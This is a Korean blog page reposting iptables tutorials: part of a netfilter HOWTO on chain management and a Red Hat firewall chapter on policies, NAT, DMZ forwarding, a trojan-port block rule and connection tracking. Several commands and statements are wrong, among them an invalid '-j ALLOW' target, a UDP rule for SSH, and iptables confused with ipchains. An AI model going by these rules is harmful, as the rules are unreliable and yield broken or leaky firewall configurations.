새로운 체인을 만들어 보자. 나는 매우 상상력이 좋은 사람이므로 이것을 테스트 라고 부르기로 하겠다. '-N' 또는 '--new-chain' 옵션을 사용한다.


# iptables -N test
#


단순하다. 이제 이 체인에 상세한 규칙을 적용할 수 있다.


체인 제거


체인을 제거하는 것도 단순하ㄷ. '-X' 나 '--delete-chain' 을 사용한다.


# iptables -X test
#


체인을 제거 하는데는 몇가지 제한이 있다. 이것은 비어있어야 한다. (아래의 체인 비우기를 보라) 그리고 그것은 다른 어떤 규칙의 타겟도 아니어야 한다. 미리 만들어진 세개의 체인은 제거할 수 없다.


체인의 이름을 지정하지 않으면 모든 사용자 정의의 체인은 제거된다.


체인 비우기


하나의 체인의 모든 규칙을 비우는 간단한 방법이 있으니, '-F' ('--flush') 명령이다.


        # iptables -F forward
#


체인을 지정하지 않으면 모든 체인의 규칙이 지워진다.


체인 규칙 나열하기


한 체인의 모든 규칙은 '-L' 명령으로 나열할 수 있다.


각 사용자 정의의 체인을 나열했던 'refcnt' 는 그 체인을 그들의 타겟으로하 는 규칙들의 번호이다. 체인이 제거되기 위해서는 이것이 '0' 으로 되어야 한다. (그리고 그 체인은 비어야 한다)


체인의 이름이 생략되면 비어있는 것을 포함한 모든 체인이 나열된다.


'-L' 명령에 따르는 옵션은 세개가 있다. '-n' (numeric) 옵션은 iptables가 여러분이 DNS 요구를 필터링 아웃한 경우나 DNS가 적절이 설정되어 있지 않다면 오랜 시간이 걸리는, IP 주소를 찾는 것을 예방하는 아주 유용한 옵션이다. 이것 은 TCP와 UDP 포트가 이름이 아닌 숫자로 출력되도록 하기도 한다.


'-v' 옵션은 규칙의 자세한 정보(패킷과 바이트 카운터, TOS 비교, 인터페이서와 같은)를 나타낸다.


패킷과 바이트 카운트는 'K'(1000), 'M'(1,000,000), 'G'(1,000,000,000) 와 같은 접미어와 함께 나타난다. '-x' (확장 수) 지시자를 사용하면 얼마나 큰 숫자든 전 체 숫자가 나타난다.


카운트 리셋트 ('0'으로 만들기)


이것은 카운트를 리셋하는데 유용하다. 이것은 '-Z' ('--zero') 옵션으로 가능하다.


이것의 문제점은 리셋하기 직전의 카운트 값을 알필요가 있을 때가 가끔 있다는 것 이다. 이러한 경우의 예로, 어떤 패킷이 '-L' 과 '-Z' 명령 사이에 지나갈 수 있다. 이런이유로 카운트를 읽는 것과 동시에 리셋하기위해서 '-L' 과 '-Z' 명령을 같이 사용할 수 있다.


정책 설정


우리가 이전 체인을 패킷이 어떻게 지나가는가를 의논할 때, 미리 만들어진 체인의 끝에 패킷이 다다렀을때 무슨 일이 일어날 것인가를 설명하였다. 이 경우 체인의 정책이 그 패킷의 운명을 결정한다. 미리 만들어진 체인(입력, 출력, 포워드)만이 정책을 가지는데, 이것은 사용자 정의의 체인의 끝에 다다른 패킷의 이동은 이전 체인에서 요약되어지기 때문이다.


정책은 ACCEPT 또는 DROP 이 될수 있다.


ipchains와 ipfwadm을 사용하기


배포되는 넷필터에는 ipchains.o 와 ipfwadm.o 라는 모듈이 있다. 이것을 여러 분의 커널에 포함시키면 이전과 똑 같이 ipchains 나 ipfwadm을 사용할 수 있 다. ( 주의 : 이들은 iptables.o, ip_conntrack.o, ip_nat.o와 호환성이 없다)


이것은 아직 한동안은 지원될 것이다. 이들을 완전히 대치하는 안정판이 나오 는데 까지는 2 * [대치할 것이라는 발표 - 첫번째 안정판] 이라는 공식이 적 용된다고 생각한다.


즉, ipfwadm의 경위 이것의 지원이 종료될 때는 :


2 * [October 1997 (2.1.102 release) - March 1995 (ipfwadm 1.0)]
+ January 1999 (2.2.0 release)
= November 2003.


그리고 ipchains의 경우 이것의 지원이 종료될 때는 :


2 * [August 1999 (2.3.15 release) - October 1997 (2.2.0 release)]
+ January 2000 (2.3.0 release?)
= September 2003.

그러므로, 2004년 까지는 걱정할 필요가 없을 것이다.








8. iptables와 ipchains의 차이점




  • 첫째로, 미리 만들어진 체인의 이름들이 소문자에서 대문자로 바뀌었는데 이것은 입력과 출력 체인은 이게 지역 넷으로 향하는 그리고 지역에서 생성된 패킷만을 적용하기 때문이다. 이것은 모든 들어오는것과 나가는 패킷을 다룬다.
  • '-i' 지시자는 들어오는 인터페이스만 의미하고 입력 과 포워드 체인 에서만 작동한다. 포워드 나 출력 체인에 사용되었던 '-i' 는 '-o'로 바꿔야 한다.
  • 이제 TCP 와 UDP 포트는 --source-port 또는 --spotr (또는 --destination-port / --dport) 옵션과 함께 사용되어져야 할 필요가 있고 '-p tcp' 또는 '-p udp' 옵션과 함께 사용되어져야 한다. 그러면 이것은 TCP 또는 UDP 확장을 각각 적재 할 것이다. (ipt_tcp 와 ipt_udp 모듈을 수동으로 적제 하기위해서 포함 시킬 수도 있다.)
  • TCP -y 지시자는 --syn으로 바뀌었고 `-p tcp'다음에 와야 한다.
  • DENY target 는 DROP 으로 바뀌었다.
  • Zeroing single chains while listing them works.
  • 만들어진 체인을 '0'으로하면 정책 카운터도 지워진다.
  • 체인을 나열하는 것은 카운트의 스넵샷을 제공한다.
  • REJECT 와 LOG 는 확장된 target이다. 즉, 이것들은 독립된 커널 모듈이다는 의미이다.
  • 체인 이름은 16자 까지 가능하다.
  • MASQ 와 REDIRECT 는 더이상 target 이 아니다. iptables은 패킷을 변화 시키지 않는다. 이것을 위해서 NAT라는 하부구조가 있다. 이것은 ipnatctl 하우두를 읽어보아라.
  • 그 외의 것들은 잊어먹었다.

2009/06/07 21:51 2009/06/07 21:51
샤이 이 작성.

당신의 의견을 작성해 주세요.

iptables - (II)

2009/06/07 21:48 / Linux/Etc
7장. 방화벽 편


많은 사람들이 정보 보안이란 제품이라기 보다는 하나의 과정이라고 생각하고 있습니다. 그러나 표준 보안 구현을 위해서는 일반적으로 여러 형태의 전용 도구를 사용하여 접근 권한을 제어하고 권한을 가진 사용자에게만 네트워크 자원에 접근을 허용하며 사용자를 식별하고 추적합니다. Red Hat Enterprise Linux는 관리자와 보안 엔지니어들이 네트워크 수준의 접근 제어 작업하는데 도움이 될 강력한 도구들을 제공합니다.

방화벽은 6 장에서 다루어진 IPsec과 같은 VPN 솔루션과 함께 네트워크 보안 실행에 사용되는 핵심 요소입니다. 여러 업체에서는 가정용 컴퓨터 보호에서부터 중요한 기업 정보를 보호하는 데이터 센터 솔루션에 이르기까지 다양한 시장 요건에 맞는 방화벽 솔루션을 판매하고 있습니다. 방화벽은 Cisco, Nokia 및 Sonicwall 사에서 내놓은 방화벽 장치와 같은 독립형 하드웨어 솔루션도 있습니다. 또한 Checkpoint, McAfee, Symantec과 같은 업체에서 가정과 기업용으로 개발한 사유 소프트웨어 방화벽 솔루션도 존재합니다.

하드웨어와 소프트웨어 방화벽 간의 차이점 말고도 각 솔루션마다 다른 기능을 제공합니다. 표 7-1에서는 자주 사용되는 3가지 유형의 방화벽과 기능을 보여줍니다:

방법 설명 장점 단점
NAT 네트워크 주소 변환 (NAT)은 외부에 알려진 IP 주소와는 다른 IP 주소를 내부 네트워크에서 사용하여 모든 요청이 여러 주소가 아닌 한 주소로 향하는 것처럼 주소 변환 과정을 거쳐 보안을 강화합니다.
?LAN 상 시스템에 투명하게 설정 가능합니다
?한 개 이상의 외부 IP 주소를 사용하는 다수의 시스템과 서비스를 보호하여 관리자의 임무를 줄여줍니다
?NAT 방화벽/게이트웨이 상의 포트를 열고 닫음으로서 LAN으로 들어오고 나가는 사용자를 제한 설정할 수 있습니다


?일단 사용자가 방화벽 외부의 서비스에 연결하면 해킹 행위를 방지할 수 없습니다


패킷 필터 패킷 필터링 방화벽은 LAN 내에서 그리고 외부에서 전달되는 모든 데이터 패킷을 읽습니다. 패킷 헤더 정보를 읽고 처리한 후 방화벽 관리자가 프로그램한 규칙에 따라 패킷을 걸러냅니다. 리눅스 커널은 넷필터(Netfilter) 커널 하부 시스템을 통한 내장된 패킷 필터링 기능을 갖추고 있습니다.
?iptables 프론트 엔드 유틸리티를 사용하여 사용자 정의 가능합니다
?모든 네트워크 활동이 응용 프로그램 수준이 아닌 라우터 수준에서 필터되므로 클라이언트에서 사용자 정의할 필요가 없습니다
?패킷이 프록시를 통하여 전송되지 않으므로 클라이언트가 원격 호스트에 직접 연결할 수 있어 네트워크 성능이 훨씬 빨라집니다


?프록시 방화벽과 같은 내용을 패킷 필터하지 못합니다
?패킷을 프로토콜 계층에서는 처리 가능하지만 응용 계층에서는 패킷을 거르지 못합니다
?복잡한 네트워크 구조 때문에 패킷 필터링 규칙을 수립하는 것이 힘들어집니다. 특히 IP masquerading이나 지역 서브넷과 DMZ 네트워크가 함께 사용되면 더더욱 그러합니다


프록시 프록시 방화벽은 LAN 클라이언트로부터 프록시 기계로 들어오는 모든 요청에서 특정 프로토콜이나 유형을 걸러낸 후 이러한 유형을 로컬 클라이언트를 대신하여 인터넷에 보냅니다. 프록시 기계는 악의를 가진 원격 사용자와 내부 네트워크 클라이언트 기계 사이에서 버퍼로 작동합니다.
?관리자가 LAN 외부에서 응용 프로그램과 프로토콜의 기능을 제어할 수 있습니다
?일부 프록시 서버는 데이터를 캐시 저장하여 클라이언트가 인터넷 대신 로컬 캐시에서 자주 요청한 데이터를 찾아볼 수 있도록 해줍니다. 따라서 불필요한 대역폭 소모를 줄일 수 있습니다
?프록시 서비스를 기록하여 자세히 모니터 가능하기 때문에 네트워크 상 자원 이용을 보다 엄격하게 제어할 수 있습니다


?프록시는 종종 특정 응용 프로그램에만 사용되며 (HTTP, telnet 등) 또는 사용 가능한 프로토콜이 한정되어 있습니다 (대부분의 프록시는 TCP 연결된 서비스만 가능합니다)
?응용 서비스는 프록시가 사용된 경우 실행되지 않기 때문에 응용 서버는 다른 유형의 네트워크 보안을 사용해야 합니다
?프록시를 사용하면 클라이언트에서 직접 원격 서비스에 연결하지 않고 모든 요청와 전송이 한 개의 소스를 통과해야 하므로 병목 현상을 초래할 수 있습니다



표 7-1. 방화벽 유형

7.1. Netfilter와 iptables
리눅스 커널은 Netfilter라는 강력한 네트워킹 하부시스템을 제공합니다. netfilter 하부시스템은 NAT 및 IP 마스커레이딩 서비스를 비롯하여 상태를 계속 추적하는 (stateful) 패킷 필터링 또는 상태를 정의하지 않고 독립적인 (stateless) 패킷 필터링을 제공합니다. Netfilter는 또한 고급 라우팅과 연결 상태 관리를 위해 IP 헤더 정보를 검색하여 볼 수 있는 기능도 갖추고 있습니다. Netfilter는 iptables 유틸리티를 통해 제어됩니다.

7.1.1. iptables 개요
ipchainss 인터페이스를 통하여 netfilter가 실행됩니다. 이 명령행 도구는 이전에 사용되는 ipchains와 유사한 구문을 사용하지만, ipchains는 netfilter 하부시스템을 사용하여 네트워크 연결, 감시와 처리 기능을 강화하였습니다. 반면 ipchains는 소스와 목적 경로에 필터링하는데 연결 포트 뿐만 아니라 복잡한 규칙을 사용하였습니다. ipchains는 한 줄의 명령행 인터페이스에 고급 로깅 기능, 라우팅 이전(pre-routing)과 라우팅 이후(post-routing) 작업 기능, 네트워크 주소 변환 및 포트 포워딩과 같은 모든 기능을 제공합니다.

이 부분에서는 iptables에 대한 기본적인 정보를 제공합니다. iptables에 대한 자세한 정보를 원하신다면 Red Hat Enterprise Linux 참조 가이드를 참조하시기 바랍니다.

7.2. iptables 사용법
iptables를 사용하기 위한 첫번째 단계는 iptables 서비스를 시작하는 것입니다. 다음 명령을 사용하시면 됩니다:

service iptables start



경고
  iptables 서비스를 사용하기 위해서는 다음 명령을 사용하여 ip6tables 서비스를 꺼야합니다:

service ip6tables stop
chkconfig ip6tables off



시스템이 부팅될 때마다 iptables가 기본으로 시작되도록 설정하시려면 chkconfig 명령을 사용하여 서비스의 런레벨 상태를 변경하셔야 합니다.

chkconfig --level 345 iptables on


iptables의 구문은 여러 부분으로 나뉘어지며, 중요한 부분은 chain 입니다. chain은 패킷이 조작될 상태를 지정하며 사용법은 다음과 같습니다:

iptables -A chain -j target


-A 옵션은 기존 규칙에 또 다른 규칙을 추가합니다. chain은 규칙에 사용될 chain의 이름입니다. iptables에 내장된 (즉, 네트워크를 지나가는 모든 패킷에 영향을 미치는) 3가지 chain은 INPUT, OUTPUT, FORWARD 입니다. 이 세가지 chain은 영구적이며 삭제 불가능합니다. -j target 옵션은 iptables에서 이 특정 규칙을 jump하도록 지시합니다. 명령에 내장된 타겟으로 ACCEPT, DROP, REJECT가 있습니다.

사용자 정의 chain이라고도 알려진 새로운 chain은 -N 옵션을 사용하여 생성 가능합니다. 새로운 chain을 생성하여 보다 정교하고 세밀한 규칙을 사용자 정의하실 수 있습니다.

7.2.1. 기본 방화벽 정책
기본 방화벽 정책을 세워놓으면 향후 보다 상세하고 사용자 정의된 규칙을 생성하는데 도움이 됩니다. iptables는 정책 (-P)을 사용하여 기본 규칙을 생성합니다. 관리자는 보안을 염두하여 일반적으로 모든 패킷을 드롭(drop)하며 상황 별로 특정 패킷을 허용하는 정책을 사용합니다. 다음은 네트워크 게이트웨이에서 들어오고 나가는 모든 패킷을 막는 규칙입니다:

iptables -P INPUT DROP
iptables -P OUTPUT DROP


추가로 전송 패킷(forwarded packets) — 방화벽에서 목적 시스템으로 라우팅될 네트워크 트래픽 — 을 거부하여 내부 클라이언트가 의도하지 않게 인터넷에 노출되는 것을 방지하시기를 권장합니다. 다음과 같은 규칙을 사용하시면 됩니다:

iptables -P FORWARD DROP


정책 chain을 설정하신 후 특정 네트워크와 보안 요건에 맞는 새로운 규칙을 만들 수 있습니다. 다음 부분에서는 iptables 방화벽을 구축하는데 실행하실 일부 규칙들에 대하여 간단하게 설명해 보겠습니다.

7.2.2. iptables 규칙 저장 및 복구하기
방화벽 규칙은 컴퓨터가 켜져있는 동안에만 유효합니다. 만일 시스템이 재부팅되면 규칙이 자동으로 지워지고 재설정됩니다. 따라서 이후에도 똑같이 읽혀지도록 규칙을 저장하시려면 다음 명령을 사용하십시오:

/sbin/service iptables save


규칙이 /etc/sysconfig/iptables 파일에 저장되어 서비스가 시작되거나 재시작되며 컴퓨터가 재부팅될 때마다 동일하게 적용됩니다.

7.3. 일반 iptables 필터링
침입자들이 LAN에 침입하지 못하도록 하는 것이 네트워크 보안에서 가장 중요하지는 않아도 매우 중요한 부분입니다. 엄격한 방화벽 규칙을 사용하여 악의를 가진 원격 사용자가 LAN에 침입하는 것을 방지해야 합니다. 그러나 기본 정책이 들어오고 나가고, 전송되는 패킷을 모두 막도록 설정되어 있다면 방화벽/게이트웨이 및 내부 LAN 사용자는 서로 통신을 주고 받거나 외부와 통신을 주고 받을 수 없게 됩니다. 다라서 사용자들이 네트워크 관련 작업을 수행하고 네트워킹 프로그램을 사용할 수 있도록, 시스템 관리자는 통신에 사용되는 특정 포트를 열어두셔야 합니다.

예를 들어 방화벽에서 포트 80로의 액세스를 허용하시려면 다음 규칙을 추가하십시오:

iptables -A INPUT -p tcp -m tcp --sport 80 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT


이렇게 하시면 포트 80을 통하여 통신하는 웹사이트에서 일반 웹 브라우징이 가능해 집니다. 보안 웹사이트 (예, https://www.example.com/)로의 액세스를 허용하시려면 포트 443도 열어야 합니다.

iptables -A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT



중요
  iptables 규칙을 만드실 때는 순서가 매우 중요합니다. 예를 들어 만일 chain에서 로컬 192.168.100.0/24 서브넷에서 들어오는 모든 패킷을 drop하도록 지정하신 후 (drop 하도록 지정된 서브넷에 포함되는) 192.168.100.13에서 들어오는 패킷을 모드 허용하는 chain (-A)을 그 후에 추가하시면 뒤에 추가된 추가 규칙이 무시됩니다. 먼저 192.168.100.13를 허용하는 규칙을 설정하신 후 서브넷을 drop하는 규칙을 설정하셔야 합니다.

기존 chain 규칙에 새로운 규칙을 넣으시려면 -I 옵션 다음에 규칙을 삽입할 chain 이름과 규칙이 위치할 번호 (1,2,3,...,n)를 입력하십시오. 예를 들면:

iptables -I INPUT 1 -i lo -p all -j ACCEPT


이 규칙은 INPUT chain의 첫번째 규칙으로 삽입되어 로컬 룹백 장치 트래픽을 허용할 것입니다.


가끔씩 외부에서 LAN에 원격 접속을 해야할 경우도 있습니다. LAN 서비스로 암호화된 원격 접속을 위해 SSH와 같은 보안 서비스를 사용하실 수 있습니다. PPP 기반 자원 (예, 모뎀 뱅크 또는 대량 ISP 계정)을 사용하시는 관리자는 다이얼업 액세스를 사용하여 방화벽을 안전하게 통과하실 수 있습니다. 그 이유는 모뎀 연결은 일반적으로 직접적인 연결이므로 방화벽/게이트웨이를 통과할 수 있습니다. 그러나 초고속 접속을 사용하시는 원격 사용자의 경우 특별한 설정이 가능합니다. iptables가 원격 SSH 클라이언트에서 들어오는 접속을 허용하도록 설정하실 수 있습니다. 예를 들어 원격 SSH 액세스를 허용하시려면 다음과 같은 규칙을 사용하실 수 있습니다:

iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p udp --sport 22 -j ACCEPT


다른 서비스에도 규칙을 지정하셔야할 경우가 있습니다. Red Hat Enterprise Linux 참조 가이드에서 iptables 및 함께 사용 가능한 다양한 옵션에 대한 광범위한 정보를 찾으실 수 있습니다.

이러한 규칙은 방화벽 상에서 일반 보안 서비스에 액세스할 수 있게 허용하지만, 방화벽으로 보호된 시스템은 이러한 서비스에 액세스할 수 없습니다. LAN에서 이러한 서비스에 액세스할 수 있도록 허용하시려면 iptables 필터링 규칙에 NAT을 사용하시면 됩니다.

7.4. FORWARD와 NAT 규칙
대부분의 기업체는 ISP에서 제한된 숫자의 공공 IP 주소를 할당받았습니다. 따라서 관리자는 부족한 IP 주소를 LAN 상의 모든 시스템에 주지 않고서도 인터넷 서비스에 액세스를 공유할 수 있는 방법을 강구해내야 합니다. LAN 상의 모든 시스템이 내부 및 외부 네트워크 서비스에 적절히 액세스할 수 있도록 하는데 사설 IP 주소를 사용하는 방법이 가장 많이 사용되고 있습니다. 방화벽과 같은 Edge 라우터는 인터넷으로부터 들어오는 전송을 받고 그 패킷을 목적 LAN 시스템으로 라우팅해줍니다; 동시에 방화벽/게이트웨이는 또한 LAN 시스템으로부터 외부로 향하는 요청을 받아 원격 인터넷 서비스로 라우팅할 수도 있습니다. 이렇게 네트워크 트래픽을 전송하는 것이 워험할 경우가 있습니다. 특히 최신 크래킹 도구를 사용하여 내부 IP 주소인 것처럼하여 원격 침입자의 컴퓨터가 마치 기업체 LAN에 위치한 것처럼 작업할 가능성이 있기 때문에 더욱 그러합니다. 이러한 상황이 발생하는 것을 방지하기 위하여, iptables는 네트워크 자원이 악용되는 것을 방지할 수 있는 라우팅 및 전송 정책을 제공합니다.

관리자는 FORWARD 정책을 사용하여 LAN에서 패킷이 전송될 위치를 제어할 수 있습니다. 예를 들면 전체 LAN으로 전송을 허용하려면 다음과 같은 규칙을 설정하시면 됩니다 (방화벽/게이트웨이의 내부 IP 주소가 eth1 상에 위치한다고 가정합니다):

iptables -A FORWARD -i eth1 -j ACCEPT
iptables -A FORWARD -o eth1 -j ACCEPT


이 규칙은 방화벽/게이트웨이 뒤에 위치한 시스템이 내부 네트워크에 접근할 수 있도록 설정합니다. 게이트웨이는 한 LAN 네트워크로부터 들어오는 모든 패킷을 eth1 장치를 통해 대상 네트워크로 라우팅할 것입니다.


알림
  기본으로 Red Hat Enterprise Linux 커널의 IPv4 정책은 Red Hat Enterprise Linux를 운용하는 시스템이 전용 edge 라우터로 작동하는 것을 방지하기 위하여 IP 전송 지원을 비활성화 합니다. IP 전송을 활성화하시려면 다음 명령을 실행하십시오:

sysctl -w net.ipv4.ip_forward=1


만일 이 명령을 쉘 프롬프트에서 실행하시면 시스템을 재부팅하시는 경우 설정이 남아있지 않습니다. 영구적으로 설정을 보존하시려면 /etc/sysctl.conf 파일에서 전송을 설정하시면 됩니다. 다음 줄을 찾아서 0을 1로 변경하시기 바랍니다:

net.ipv4.ip_forward = 0


다음 명령을 실행하여 sysctl.conf 파일의 변경 사항이 활성화되도록 하십시오:

sysctl -p /etc/sysctl.conf



이렇게 함으로서 LAN 상의 시스템들이 서로 통신할 수 있게 됩니다; 그러나 인터넷과 같은 외부 시스템과의 통신은 허용되지 않습니다. LAN 상의 시스템이 가상 IP 주소를 가지고 외부 공중 네트워크와 통신할 수 있도록 허용하시려면, LAN 시스템에서 외부로 향하는 요청이 방화벽 외부 장치(이 예시에서는 eth0)의 IP 주소로 나가도록 방화벽에 IP masquerading 기능을 설정하십시오:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


이 규칙은 NAT 패킷 매칭표(matching table) (-t nat)을 사용하며 방화벽 외부 네트워킹 장치 (-o eth0)에서 NAT에 내장된 POSTROUTING chain을 (-A POSTROUTING) 지정합니다. POSTROUTING을 사용할 경우 패킷이 방화벽의 외부 장치를 떠날때 변경됩니다. -j MASQUERADE 옵션은 컴퓨터의 사설 IP 주소를 방화벽/게이트웨이의 외부 IP 주소로 바꾸기 위해 사용되었습니다.

내부 네트워크에 위치한 서버를 외부에서 사용 가능하도록 설정하시려면 NAT의 PREROUTING chain에 -j DNAT 옵션을 사용하여 내부 서비스로 접속을 요청하는 들어오는 패킷을 전송할 수신 IP 주소와 포트 번호를 지정할 수 있습니다. 예를 들어 HTTP 요청이 들어올 경우 전용 Apache HTTP 서버 서버 시스템의 주소 172.31.0.23으로 전송하려면, 다음과 같은 명령을 입력하시면 됩니다:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT \
      --to 172.31.0.23:80


이 규칙은 NAT 테이블이 내장된 PREROUTING chain을 사용하여 들어오는 HTTP 요청을 모두 수신 IP 주소 172.31.0.23으로 전송합니다.


알림
  FORWARD chain에 기본 DROP 정책을 지정하셨다면, 수신 NAT 라우팅이 가능하도록 들어오는 HTTP 요청 전송을 허가하는 규칙을 첨가하셔야 합니다.

iptables -A FORWARD -i eth0 -p tcp --dport 80 -d 172.31.0.23 -j ACCEPT


이렇게 설정하시면 방화벽 외부에서 들어오는 HTTP 요청을 방화벽 내부에 위치한 목적 Apache HTTP 서버 서버로 전송 가능합니다.


7.4.1. DMZ과 iptables
iptables 규칙을 설정시 특정 시스템, 예를 들면 전용 HTTP 또는 FTP 서버로, 특히 가능하다면 내부 네트워크에서 격리된 DMZ (demilitarized zone: 비무장 지대)에 위치한 서버로 트래픽을 라우팅하도록 설정 가능합니다. 들어오는 모든 HTTP 요청을 (LAN의 192.168.1.0/24 범위에서 벗어난) IP 주소가 10.0.4.2이고 포트 80에 위치한 전용 HTTP 서버로 라우팅할 규칙을 설정하시면, 네트워크 주소 변환 (NAT)은 패킷을 적절한 목적지로 전송하기 위해 PREROUTING 표를 호출합니다:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT \
            --to-destination 10.0.4.2:80


이 명령을 사용하시면 LAN 외부에서 포트 80으로 들어오는 모든 HTTP 연결이 내부 네트워크에서 격리된 별개의 네트워크 상에 위치한 HTTP 서버로 라우팅됩니다. 이렇게 네트워크를 분리하는 것이 동일한 네트워크 상에 위치한 기계에 HTTP 연결을 허용하는 것보다 훨씬 안전합니다. 만일 HTTP 서버가 보안 연결을 허용하도록 설정되었다면, 포트 443도 전송(forward)하셔야 합니다.

7.5. 바이러스와 가짜 IP 주소
보다 정교한 규칙을 세워 LAN 상에서 특정 서브넷이나 심지어는 특정 시스템으로 액세스를 제어하는 것도 가능합니다. 트로이 목마(trojans), 컴퓨터 웜(worms)이나 다른 클라이언트/서버 바이러스와 같은 수상한 서비스가 서버에 접속하는 것을 방지하는 규칙을 설정하실 수도 있습니다. 예를 들어 31337에서 31340까지 포트 (크래킹 용어로 elite 포트라고 부릅니다)에서 네트워크를 스캔하여 서비스를 찾아내는 트로이 목마 침투 유형이 있습니다. 이러한 비표준 포트를 통해 통신하는 적당한 서비스가 없으므로 이 포트를 닫으시면 네트워크 상에서 바이러스 침입 당한 컴퓨터가 원격 마스터 서버와 독립적으로 통신을 주고 받을 가능성을 줄일 수 있습니다.

iptables -A OUTPUT -o eth0 -p tcp --dport 31337 --sport 31337 -j DROP
iptables -A FORWARD -o eth0 -p tcp --dport 31337 --sport 31337 -j DROP


또한 외부에서 사설 IP 주소 범위에 속하는 가짜 주소를 사용하여 LAN에 침투하려는 시도를 막는 규칙을 설정하는 것도 가능합니다. 예를 들어 LAN의 IP 주소 범위가 192.168.1.0/24인 경우 인터넷에 접속된 네트워크 장치 (예, eth0)가 이 LAN IP 범위 내의 주소를 가진 장치로 들어오는 모든 패킷을 드롭하도록 설정 가능합니다. 전송된 패킷을 거부하는 규칙을 기본으로 설정하시도록 권장되었으므로 외부 네트워크와 접촉하는 장치 (eth0) 장치로 들어오는 가짜 IP 주소는 자동으로 거부될 것입니다.

iptables -A FORWARD -s 192.168.1.0/24 -i eth0 -j DROP



알림
  규칙을 추가시 REJECT 하는 것과 DROP 하는 것의 차이를 아셔야 합니다. REJECT는 서비스에 접속하려는 사용자의 액세스를 거부하고 connection refused라는 오류 메시지를 보여주는 반면 DROP은 말 그대로 telnet 사용자에게 어떠한 경고 메시지도 보여주지 않은 채 패킷을 드롭합니다. 관리자의 재량껏 이러한 규칙을 사용할 수 있지만 사용자가 혼란스러워하며 계속해서 접속을 시도하는 것을 방지하시려면 REJECT를 사용하시는 것이 좋습니다.


7.6. iptables와 연결 추적(Connection Tracking)
iptables는 연결 추적(connection tracking)이라는 방법을 사용하여 내부 네트워크 상 서비스 연결 상태에 따라서 그 연결을 감시하고 제한할 수 있게 해줍니다. 연결 추적 방식은 연결 상태를 표에 저장하기 때문에, 다음과 같은 연결 상태에 따라서 시스템 관리자가 연결을 허용하거나 거부할 수 있습니다:


NEW — 새로운 연결을 요청하는 패킷, 예, HTTP 요청

ESTABLISHED — 기존 연결의 일부인 패킷

RELATED — 기존 연결에 속하지만 새로운 연결을 요청하는 패킷, 예를 들면 접속 포트가 20인 수동 FTP의 경우 전송 포트는 사용되지 않은 1024 이상의 어느 포트라도 사용 가능합니다.

INVALID — 연결 추적표에서 어디 연결에도 속하지 않은 패킷.

상태에 기반(stateful)한 iptables 연결 추적 기능은 어느 네트워크 프로토콜에서나 사용 가능합니다. UDP와 같이 상태를 저장하지 않는 (stateless) 프로토콜에서도 사용할 수 있습니다. 다음 예시에서는 기존 연결(established)과 관련된 패킷만 전송하는 연결 추적 방식을 사용하는 규칙을 보여줍니다:

iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ALLOW

7.7. ip6tables
IPv6라고 부르는 차세대 인터넷 프로토콜이 도입됨으로서 IPv4 (IP)의 32 비트 주소 제한이 확장되었습니다. IPv6는 128 비트 주소를 지원하며, IPv6를 인식하는 공중 네트워크는 IPv4 보다 많은 대량의 라우팅 가능한 주소를 주소 지정 가능합니다.

Red Hat Enterprise Linux는 넷필터 6 서브시스템 및 ip6tables 명령을 사용하는 IPv6 방화벽을 지원합니다. ip6tables를 사용하시려면 먼저 다음 명령을 입력하여 ip6tables 서비스를 시작해야 합니다:

service ip6tables start



경고
  ip6tables 서비스만 사용되도록 iptables 서비스를 꺼야 합니다:

service iptables stop
chkconfig iptables off



ip6tables가 시스템이 부팅시 기본으로 사용되도록 설정하시려면 chkconfig을 사용하여 서비스의 런레벨 상태를 변경하시기 바랍니다.

chkconfig --level 345 ip6tables on


사용되는 구문은 모든 면에서 iptables와 동일하지만 ip6tables는 128 비트 주소를 사용한다는 차이점이 있습니다. 예를 들면 다음 규칙을 사용하여 IPv6 인식 네트워크 서버에서 SSH 연결을 활성화할 수 있습니다:

ip6tables -A INPUT -i eth0 -p tcp -s 3ffe:ffff:100::1/128 --dport 22 -j ACCEPT


IPv6 네트워킹에 대한 자세한 정보를 원하신다면
http://www.ipv6.org/에서 IPv6 정보 페이지를 참조하시기 바랍니다.

7.8. 추가 자료
이 메뉴얼에서는 방화벽과 리눅스 넷필터 서브시스템에 대하여 깊게 다양한 측면을 다루지 못했습니다. 보다 자세한 정보를 보시려면 다음에 나온 자료를 참조하시기 바랍니다.

7.8.1. 설치된 문서 자료

Red Hat Enterprise Linux 참조 가이드는 iptables 및 모든 명령 옵션에 대한 정의에 대한 광범위한 정보를 제공합니다.

iptables 메뉴얼 페이지에서도 다양한 옵션에 대한 설명을 찾으실 수 있습니다.

일반 서비스와 포트 번호 목록은 부록 C과 /etc/services에서 찾으실 수 있습니다.

7.8.2. 유용한 웹사이트

http://www.netfilter.org/ — Netfilter와 iptables 프로젝트 공식 홈페이지.

http://www.tldp.org/ — 리눅스 문서화 프로젝트 사이트에서 방화벽 생성과 관리와 관련된 유용한 가이드를 찾으실 수 있습니다.

http://www.iana.org/assignments/port-numbers — IANA (인터넷 할당 번호 관리 기관)에 의해 할당된 등록된 일반 서비스 포트 번호의 공식 목록.

7.8.3. 관련 서적

Red Hat Linux Firewalls, 저자 Bill McCarty; 출판사 Red Hat Press — Netfilter와 iptables와 같은 오픈 소스 패킷 필터링 기술을 사용하여 네트워크와 서버 방화벽을 구축하는 방법에 대한 광범위한 정보를 제공합니다. 방화벽 로그 분석하기, 방화벽 규칙 개발하기, lokkit과 같은 그래픽 도구를 사용하여 방화벽 사용자 정의하기와 같은 내용이 포함됩니다.

Linux Firewalls, 저자 Robert Ziegler; 출판사 New Riders Press. — 넷필터와 iptables 뿐만 아니라 2.2 커널 ipchains를 사용하여 방화벽을 생성하는 방법에 대한 방대한 정보를 담고 있습니다. 원격 접속 문제와 침입 탐지 시스템과 같은 보안에 대한 추가 주제들도 설명되어 있습니다.


출처 - http://blog.stork.pe.kr/100036605681
2009/06/07 21:48 2009/06/07 21:48
샤이 이 작성.

당신의 의견을 작성해 주세요.

iptables 정리

2009/06/07 21:00 / Linux/Etc
1. 
전체 체인조절
-N : 새로운 체인만들기
-X : 비어있는 체인 제거하기
